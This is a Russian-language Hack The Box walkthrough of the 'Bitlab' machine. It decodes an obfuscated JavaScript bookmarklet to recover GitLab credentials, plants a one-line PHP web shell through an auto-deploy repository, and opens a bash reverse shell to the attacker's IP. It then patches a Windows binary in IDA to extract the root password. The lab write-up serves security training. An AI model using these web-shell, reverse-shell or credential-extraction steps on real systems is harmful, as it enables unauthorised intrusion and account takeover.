Информационный портал по безопасности » Информационная безопасность » Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения

 

Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения

Автор: admin от 13-01-2020, 09:35, посмотрело: 205

Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения


Данной статьей я начну публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье разберемся с легенькой javascript обфускацией, загрузим бэкдор через репозиторий Git, и отладим 32- приложение.



Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)





Разведка



Сканирование портов



Данная машиина имеет IP адрес 10.10.10.114, который я добавляю в /etc/hosts.

10.10.10.114 bitlab.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Далее нужно собрать больше информации об известных нам портах.

nmap -A bitlab.htb -p22,80



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Как следует из отчета nmap на хосте работает SSH и веб-сервер. Причем на веб-сервере имеется robots.txt. Пройдя по директориям из этого списка, отмечаем, что работает gitlab и имеется непроиндексированная дирректория help.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Переходя на страницу bookmarks имеем несколько ссылок.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



JS



Все указывают на сайт того или иного продукта, кроме последней, которая содержит не адрес, а JS код.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



При чем данный код обфусцирован.

javascript:(function(){ var _0x4b18=["x76x61x6Cx75x65","x75x73x65x72x5Fx6Cx6Fx67x69x6E","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x63x6Cx61x76x65","x75x73x65x72x5Fx70x61x73x73x77x6Fx72x64","x31x31x64x65x73x30x30x38x31x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()


Чтобы получить более читаемый код, можно воспольоваться следующим сайтом.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Немного доработав код, получим выполнение следующих инструкций.

document.getElementById("user_login").value = "clave";
document.getElementById("user_password").value = "11des0081x";


Git



С этими аутентификационными данными авторизуемся в gitlab. Там находим два профиля.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Так же можно обнаружить один проект, в котором происходит подключение к базе данных, в коде присутствую все данные для подключения.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Проверив Profile ничего интересного не находим.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



В Deployer только php код.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Из данного кода становится понятно, что если мы разместил в профиле разместим файл, то он будет развернут на сервере.



Entry Рoint



Нам нужно разместить рhр бэкдор. К пример, тот, который будет принимать и выполнять команды.

<?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?>


Для того открываем Profile и создаем новый файл.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



И после добавления наш файл появится в репозитории.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Теперь тестируем бэкдор.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Теперь получим полноценный шелл.

bash -i >& /dev/tcp/10.10.15.150/4321 0>&1


Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



И видим обратное подключение к своему хосту.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



USER



Попав на хост, обязательно необходимо проверить данные, приобретенные ранее. Это данные для доступа к базе данных.



Открываев интерпретатор PHP в интерактивном режиме. Используем найденный код и просматриваем найденные данные. Пароль пользователя в base64, декодируем его.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Так мы узнаем пароль, которым видимо сможем подключиться по SSH. Но этого не вышло, так как base64 и есть пароль)).



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



ROOT



Осматриваясь на машине, находим в домашней дирректории пользователя exe файл.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Скопируем его себе на хост для анализа.

scp [email protected]:~/RemoteConnection.exe .


Далее открываем файл в IDA Pro. Пролистав главную функцию main, можно найти сравнение переменной с именем пользователя и создание процесса с putty — программа для сетевых соединений.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Можно предположить, что соединение происходит с предоставлением аутентификационных данных, и их нам нужно найти. Данные соединения будут передаваться putty в качестве параметра, т.е. переменной v3.



Можно посмотреть готовую строку при отладке, но в IDA 32-х битный файл крашится. Пошагово отладив, понимаем, что это происходит после вызова GetUserNameW. Поступаем следующим образом.



Ставим BP на фрагменте сравнения имени.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Теперь ставим BP перед загрузкой параметров для функции GetUserNameW.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Запустим программу в отладчике. Отладка остановится перед вызовом нужной нам функции.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Теперь патчим код. Вместо загрузки параметров и вызова функции нужно поставить инструкцию NOP. Я для этого использую плагин Keypatch.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Теперь код выглядит так.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Продолжим отладку программы, чтобы она остановилась на сравнении имени. В этот момент адрес строки параметра уже будет загружен в регистр EAX для передачи в качестве параметра ShellExecuteW.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Теперь нажмем на стрелочку(jump in disassembly) рядом с регистром EAX. Это поволит перейти по адресу из EAX в главном окне IDA.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



По данному адресу расположена строка параметра. Как можно видить она содержит симантически правильный текст “-ssh root… “. Но каждый символ представлен 2-я байтами. Чтобы удобно собрать строку нажмем Alt+A.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



И в данном окне выбираем Unicode C-Style (16 bit). После чего наблюдаем корректно собранную строку.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



В данной строке имеется пароль рута. Подключаемся по ssh и забираем токен.



Hack The Box — прохождение Bitlab. Слабая JS обфускация, GIT и реверс Windows приложения



Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Источник: Хабр / Интересные публикации

Категория: Информационная безопасность

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

Добавление комментария

Имя:*
E-Mail:
Комментарий:
  • bowtiesmilelaughingblushsmileyrelaxedsmirk
    heart_eyeskissing_heartkissing_closed_eyesflushedrelievedsatisfiedgrin
    winkstuck_out_tongue_winking_eyestuck_out_tongue_closed_eyesgrinningkissingstuck_out_tonguesleeping
    worriedfrowninganguishedopen_mouthgrimacingconfusedhushed
    expressionlessunamusedsweat_smilesweatdisappointed_relievedwearypensive
    disappointedconfoundedfearfulcold_sweatperseverecrysob
    joyastonishedscreamtired_faceangryragetriumph
    sleepyyummasksunglassesdizzy_faceimpsmiling_imp
    neutral_faceno_mouthinnocent